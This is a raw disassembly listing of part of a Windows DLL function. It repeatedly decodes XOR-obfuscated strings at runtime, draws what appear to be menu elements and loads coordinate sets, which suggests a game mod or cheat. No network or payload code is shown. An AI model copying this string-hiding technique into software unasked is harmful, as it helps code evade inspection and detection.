movzx eax, word [0x1801b7884]
movups xmmword [rbp + 0x24a8], xmm0
mov word [rbp + 0x24bc], ax
je 0x1800911f0
mov r8d, esi
cmp r12d, 2
jl 0x1800911b1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x24ac]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800910c0
cmp r8d, 0x16
jge 0x1800911f0
movsxd rax, r8d
lea r9, [rbp + 0x24a8]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1800911c0
lea rdx, [0x18023bf9d]
lea rcx, [rbp + 0x24a8]
call fcn.1800031c0
mov eax, dword [str._XHTQQ_]
mov r8d, esi
movsd xmm0, qword [str.wKQVCC_]
mov dword [rbp + 0x1b68], eax
movzx eax, word [0x1801b7894]
mov word [rbp + 0x1b6c], ax
movzx eax, byte [0x1801b7896]
mov byte [rbp + 0x1b6e], al
movsd qword [rbp + 0x1b60], xmm0
cmp r12d, 2
jl 0x180091325
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.wKQVCC_]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1b60], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b64]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b64], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180091340
lea rdx, [0x18023c29c]
lea rcx, [rbp + 0x1b60]
call fcn.180007270
call fcn.180006b10
call fcn.180013c40
movdqa xmm8, xmmword [0x1801bab60]
jmp 0x1800913a7
movss xmm7, dword [0x1801baad8]
lea rbx, [0x1801a7b4c]
cmp dword [0x1802402a4], 4
jne 0x180092c31
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x670]
addss xmm0, xmm7
mov dword [rbp + 0x670], 0x43520000
movss dword [rbp + 0x674], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7898]
lea rdx, [rbp + 0x678]
mov dword [rbp + 0x18], eax
lea rcx, [rbp + 0x18]
movzx eax, byte [0x1801b789c]
mov r9d, 8
xor byte [rbp + 0x19], 0x33
xor al, 0x36
xor byte [rbp + 0x1a], 0x34
xor r8d, r8d
xor byte [rbp + 0x1b], 0x35
mov byte [rbp + 0x1c], al
mov dword [rbp + 0x678], 0x43a50000
mov dword [rbp + 0x67c], 0x4405c000
mov byte [rbp + 0x18], Ordinal_79
call fcn.18000fbb0
cmp byte [0x1801b78ad], sil
mov eax, dword [0x1801b78a8]
movsd xmm0, qword [0x1801b78a0]
mov dword [rbp + 0x1908], eax
movzx eax, word [0x1801b78ac]
mov word [rbp + 0x190c], ax
mov dword [rbp + 0x680], 0x43a00000
mov dword [rbp + 0x684], 0x43ed8000
movsd qword [rbp + 0x1900], xmm0
je 0x1800915b0
mov r8d, esi
cmp r12d, 2
jl 0x18009156b
movd eax, xmm9
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm8
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b78a0]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1900], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1904]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1904], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1900]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180091580
xor r9d, r9d
lea rdx, [rbp + 0x680]
mov r8b, 1
lea rcx, [rbp + 0x1900]
call fcn.180003bf0
mov eax, dword [0x1801b78b8]
mov r8d, esi
movsd xmm0, qword [0x1801b78b0]
movdqa xmm7, xmmword [0x1801bab60]
mov dword [rbp + 0x18a8], eax
movzx eax, byte [0x1801b78bc]
mov byte [rbp + 0x18ac], al
movsd qword [rbp + 0x18a0], xmm0
cmp r12d, 2
jl 0x1800916e5
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b78b0]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x18a0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18a4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18a4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18a0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180091700
lea r15, [0x180240350]
mov qword [rsp + 0x28], rsi
mov rdx, r15
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rcx, [rbp + 0x18a0]
mov r8d, 0x40
call fcn.18004a5d0
call fcn.180016870
movss xmm8, dword [0x1801a17d4]
addss xmm0, xmm8
call fcn.180025690
mov eax, dword [0x1801b78c0]
lea rdx, [rbp + 0x688]
mov dword [rbp + 0x108], eax
lea rcx, [rbp + 0x108]
movzx eax, word [0x1801b78c4]
xor r9d, r9d
xor byte [rbp + 0x109], 0x33
mov r8b, 1
xor byte [rbp + 0x10a], 0x34
xor byte [rbp + 0x10b], 0x35
mov word [rbp + 0x10c], ax
xor al, 0x36
xor byte [rbp + 0x10d], 0x37
mov byte [rbp + 0x10c], al
mov dword [rbp + 0x688], 0x43b90000
mov dword [rbp + 0x68c], 0x438e8000
mov byte [rbp + 0x108], Ordinal_79
call fcn.18000fbb0
mov ebx, esi
lea rdi, [0x18023d968]
nop dword [rax]
mov r14, qword [rdi]
mov rax, r13
inc rax
cmp byte [r15 + rax], sil
jne 0x1800917f6
test rax, rax
je 0x180091814
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x180091845
cmp dword [0x18023d960], ebx
lea r9, [rbp + 0x690]
mov rcx, r14
mov dword [rbp + 0x690], esi
sete dl
mov dword [rbp + 0x694], esi
xor r8d, r8d
call fcn.180008210
test al, al
je 0x180091845
mov dword [0x18023d960], ebx
inc ebx
add rdi, 8
cmp ebx, 0x206
jl 0x1800917f0
call fcn.180013c40
lea rcx, [rbp + 0x698]
call fcn.180016730
cmp byte [0x1801b78d5], sil
movss xmm0, dword [rax]
mov eax, dword [str.wTXXR_]
movss dword [rbp + 0x6a0], xmm0
movsd xmm0, qword [str._VGAYE_]
mov dword [rbp + 0x1918], eax
movzx eax, word [0x1801b78d4]
movsd qword [rbp + 0x1910], xmm0
mov word [rbp + 0x191c], ax
mov dword [rbp + 0x6a4], 0x42200000
je 0x1800919e0
mov r8d, esi
cmp r12d, 2
jl 0x18009199c
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._VGAYE_]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1910], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1914]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1914], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1910]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800919b0
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x1910]
call fcn.180002b60
test al, al
je 0x180091a10
cmp qword [0x18023d4d0], rsi
je 0x180091a10
cmp qword [0x18023c1e0], rsi
je 0x180091a10
mov byte [0x18023c1e8], 1
call fcn.180016870
addss xmm0, xmm8
call fcn.180025690
lea rcx, [rbp + 0x6a8]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b78e0]
movss dword [rbp + 0x6b0], xmm0
movsd xmm0, qword [str.q_U_QR]
mov dword [rbp + 0x1748], eax
movzx eax, byte [0x1801b78e4]
movsd qword [rbp + 0x1740], xmm0
mov byte [rbp + 0x174c], al
mov dword [rbp + 0x6b4], 0x42200000
cmp r12d, 2
jl 0x180091b55
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.q_U_QR]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1740], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1744]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1744], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1740]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180091b70
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x1740]
call fcn.180002b60
test al, al
je 0x180091dbb
mov rax, qword [0x18023d4d0]
test rax, rax
je 0x180091dbb
mov rcx, qword [rax + 0x20]
test rcx, rcx
je 0x180091dbb
cmp byte [0x180240390], sil
movups xmm0, xmmword [0x1801b78f0]
movups xmm1, xmmword [0x1801b7900]
jne 0x180091c00
mov eax, dword [rcx + 0x18]
mov qword [0x18023c1e0], rax
mov byte [0x180240390], 1
movups xmmword [rbp + 0x2cd0], xmm0
movups xmm0, xmmword [0x1801b7910]
movups xmmword [rbp + 0x2cf0], xmm0
movups xmm0, xmmword [str.eOXLI_3o0__h_J]
movups xmmword [rbp + 0x2ce0], xmm1
movups xmm1, xmmword [str.B_n_nE]
movups xmmword [rbp + 0x2d10], xmm0
movups xmmword [rbp + 0x2d00], xmm1
cmp r12d, 2
jl 0x180091d4b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2cd4]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x50
jl 0x180091c60
jmp 0x180091d90
lea r9, [rbp + 0x2cd0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x50
jl 0x180091d60
lea r8, [rbp + 0x2cd0]
mov edx, 2
lea rcx, [rbp + 0x4fc0]
call fcn.180063f30
lea rcx, [rbp + 0x4fc0]
call fcn.18006e260
mov byte [0x18023c1dc], 1
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x6b8]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0x6b8], 0x44070000
movss dword [rbp + 0x6bc], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b7944]
lea rdx, [rbp + 0x6c0]
mov eax, dword [0x1801b7940]
mov r9d, 8
mov dword [rbp + 0x220], eax
xor r8d, r8d
movzx eax, byte [0x1801b7946]
xor byte [rbp + 0x221], 0x33
xor al, 0x38
xor byte [rbp + 0x222], 0x34
xor byte [rbp + 0x223], 0x35
mov word [rbp + 0x224], cx
xor cl, 0x36
xor byte [rbp + 0x225], 0x37
mov byte [rbp + 0x224], cl
lea rcx, [rbp + 0x220]
mov dword [rbp + 0x6c0], 0x43a00000
mov dword [rbp + 0x6c4], 0x4405c000
mov byte [rbp + 0x220], Ordinal_79
mov byte [rbp + 0x226], al
call fcn.18000fbb0
movzx eax, byte [0x1801b7950]
lea rdx, [rbp + 0x6c8]
movsd xmm0, qword [0x1801b7948]
lea rcx, [rbp + 0xe80]
movsd qword [rbp + 0xe80], xmm0
xor al, 0x3a
xor byte [rbp + 0xe81], 0x33
xor r9d, r9d
xor byte [rbp + 0xe82], 0x34
mov r8b, 1
xor byte [rbp + 0xe83], 0x35
xor byte [rbp + 0xe84], 0x36
xor byte [rbp + 0xe85], 0x37
xor byte [rbp + 0xe86], 0x38
xor byte [rbp + 0xe87], 0x39
mov byte [rbp + 0xe88], al
mov dword [rbp + 0x6c8], 0x43a00000
mov dword [rbp + 0x6cc], 0x43ed8000
mov byte [rbp + 0xe80], 0x54
call fcn.180003bf0
movups xmm0, xmmword [str.WTBWW]
movups xmmword [rbp + 0x1cb0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180092070
cmp r12d, 2
jl 0x18009202b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1cb4]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180091f40
jmp 0x180092070
lea r9, [rbp + 0x1cb0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180092040
mov qword [rsp + 0x28], rsi
lea rdx, [0x1802403a0]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8d, 0x40
lea rcx, [rbp + 0x1cb0]
call fcn.18004a5d0
call fcn.180016870
addss xmm0, xmm8
call fcn.180025690
movsd xmm0, qword [0x1801b7968]
lea rdx, [rbp + 0x6d0]
movzx eax, byte [0x1801b7970]
lea rcx, [rbp + 0xe90]
movsd qword [rbp + 0xe90], xmm0
xor al, 0x3a
xor byte [rbp + 0xe91], 0x33
xor r9d, r9d
xor byte [rbp + 0xe92], 0x34
xor r8d, r8d
xor byte [rbp + 0xe93], 0x35
xor byte [rbp + 0xe94], 0x36
xor byte [rbp + 0xe95], 0x37
xor byte [rbp + 0xe96], 0x38
xor byte [rbp + 0xe97], 0x39
mov byte [rbp + 0xe98], al
mov dword [rbp + 0x6d0], 0x43b90000
mov dword [rbp + 0x6d4], 0x438e8000
mov byte [rbp + 0xe90], Ordinal_79
call fcn.18000fbb0
mov ebx, esi
lea rdi, [0x18023fe20]
nop dword [rax]
nop word [rax + rax]
cmp dword [0x18023d954], ebx
lea rcx, [0x1802403a0]
mov r14, qword [rdi]
mov rax, r13
sete r15b
inc rax
cmp byte [rcx + rax], sil
jne 0x180092157
test rax, rax
je 0x180092175
mov rdx, rcx
mov rcx, r14
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x1800921a1
lea r9, [rbp + 0x6d8]
mov dword [rbp + 0x6d8], esi
xor r8d, r8d
mov dword [rbp + 0x6dc], esi
movzx edx, r15b
mov rcx, r14
call fcn.180008210
test al, al
je 0x1800921a1
mov dword [0x18023d950], ebx
inc ebx
add rdi, 8
cmp ebx, 0xe
jl 0x180092140
call fcn.180013c40
movups xmm0, xmmword [0x1801b7978]
mov eax, dword [0x18023d950]
mov dword [rbp + 0x6e0], 0xbf800000
mov dword [rbp + 0x6e4], 0x42200000
movups xmmword [rbp + 0x2388], xmm0
cmp eax, r13d
je 0x1800921e4
mov dword [0x18023d954], eax
mov eax, dword [0x1801b7988]
mov r8d, esi
mov dword [rbp + 0x2398], eax
movzx eax, byte [0x1801b798c]
mov byte [rbp + 0x239c], al
cmp r12d, 2
jl 0x180092311
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x238c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180092220
cmp r8d, 0x15
jge 0x180092350
movsxd rax, r8d
lea r9, [rbp + 0x2388]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x180092320
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x2388]
call fcn.180002b60
test al, al
je 0x1800928c0
xor eax, eax
movaps xmm5, xmm10
mov dword [rsp + 0x64], eax
movaps xmm6, xmm10
mov dword [rsp + 0x6c], eax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x74], eax
movsxd rax, dword [0x18023d954]
cmp eax, 0xd
ja case.default.0x1800923a6
lea rdx, [0x180000000]
mov ecx, dword [rdx + rax*4 + 0xa5c30]
add rcx, rdx
jmp rcx
xor eax, eax
mov dword [rbp + 0x2670], 0xc2940000
mov dword [rbp + 0x2674], eax
mov dword [rbp + 0x267c], eax
mov dword [rbp + 0x2678], 0xc44c8000
movups xmm5, xmmword [rbp + 0x2670]
mov dword [rbp + 0x2680], 0x43a28000
mov dword [rbp + 0x2684], eax
movsd xmm0, qword [rbp + 0x2680]
movaps xmm6, xmm5
shufps xmm6, xmm5, 0xaa
jmp 0x180092785
xor eax, eax
mov dword [rbp + 0x2598], 0xc4a72000
mov dword [rbp + 0x259c], eax
mov dword [rbp + 0x25a4], eax
mov dword [rbp + 0x25ac], eax
mov dword [rbp + 0x25a0], 0xc53e4000
movups xmm2, xmmword [rbp + 0x2598]
mov dword [rbp + 0x25a8], 0x415e6666
movsd xmm0, qword [rbp + 0x25a8]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x2658], 0x43120000
mov dword [rbp + 0x265c], eax
mov dword [rbp + 0x2664], eax
mov dword [rbp + 0x266c], eax
mov dword [rbp + 0x2660], 0xc43c8000
movups xmm2, xmmword [rbp + 0x2658]
mov dword [rbp + 0x2668], 0x43830000
movsd xmm0, qword [rbp + 0x2668]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x2640], 0x44da6000
mov dword [rbp + 0x2644], eax
mov dword [rbp + 0x264c], eax
mov dword [rbp + 0x2654], eax
mov dword [rbp + 0x2648], 0x454c8000
movups xmm2, xmmword [rbp + 0x2640]
mov dword [rbp + 0x2650], 0x42240000
movsd xmm0, qword [rbp + 0x2650]
jmp 0x18009277b
xor eax, eax
mov dword [rbp + 0x2628], 0x43e40000
mov dword [rbp + 0x262c], eax
mov dword [rbp + 0x2634], eax
mov dword [rbp + 0x263c], eax
mov dword [rbp + 0x2630], 0x45ae3800
movups xmm2, xmmword [rbp + 0x2628]
